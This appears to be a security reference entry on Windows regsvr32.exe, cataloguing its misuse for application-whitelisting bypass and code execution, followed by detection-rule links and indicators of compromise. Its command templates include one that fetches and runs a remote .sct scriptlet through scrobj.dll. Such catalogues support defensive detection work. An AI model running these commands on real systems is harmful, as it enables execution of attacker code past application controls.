Regsvr32.exe
Used by Windows to register dlls
Paths
C:\Windows\System32\regsvr32.exeC:\Windows\SysWOW64\regsvr32.exe
Commands
AWL Bypass
Execute the specified remote .SCT script with scrobj.dll.
Use case: Execute code from remote scriptlet, bypass Application whitelisting
Privileges: User
regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll
AWL Bypass
Execute the specified local .SCT script with scrobj.dll.
Use case: Execute code from scriptlet, bypass Application whitelisting
Privileges: User
regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll
Execute
Execute the specified remote .SCT script with scrobj.dll.
Use case: Execute code from remote scriptlet, bypass Application whitelisting
Privileges: User
regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll
Execute
Execute the specified local .SCT script with scrobj.dll.
Use case: Execute code from scriptlet, bypass Application whitelisting
Privileges: User
regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll
Execute
Execute code in a DLL. The code must be inside the exported function `DllRegisterServer`.
Use case: Execute DLL file
Privileges: User
regsvr32.exe /s {PATH:.dll}
Execute
Execute code in a DLL. The code must be inside the exported function `DllUnRegisterServer`.
Use case: Execute DLL file
Privileges: User
regsvr32.exe /u /s {PATH:.dll}
Detection
- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_susp_parent.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_susp_child_process.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_susp_exec_path_1.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_network_pattern.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/network_connection/net_connection_win_regsvr32_network_activity.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/dns_query/dns_query_win_regsvr32_network_activity.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_regsvr32_flags_anomaly.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml
- Splunk: https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/detect_regsvr32_application_control_bypass.yml
- Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml
- Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/execution_register_server_program_connecting_to_the_internet.toml
- IOC: regsvr32.exe retrieving files from Internet
- IOC: regsvr32.exe executing scriptlet (sct) files
- IOC: DotNet CLR libraries loaded into regsvr32.exe
- IOC: DotNet CLR Usage Log - regsvr32.exe.log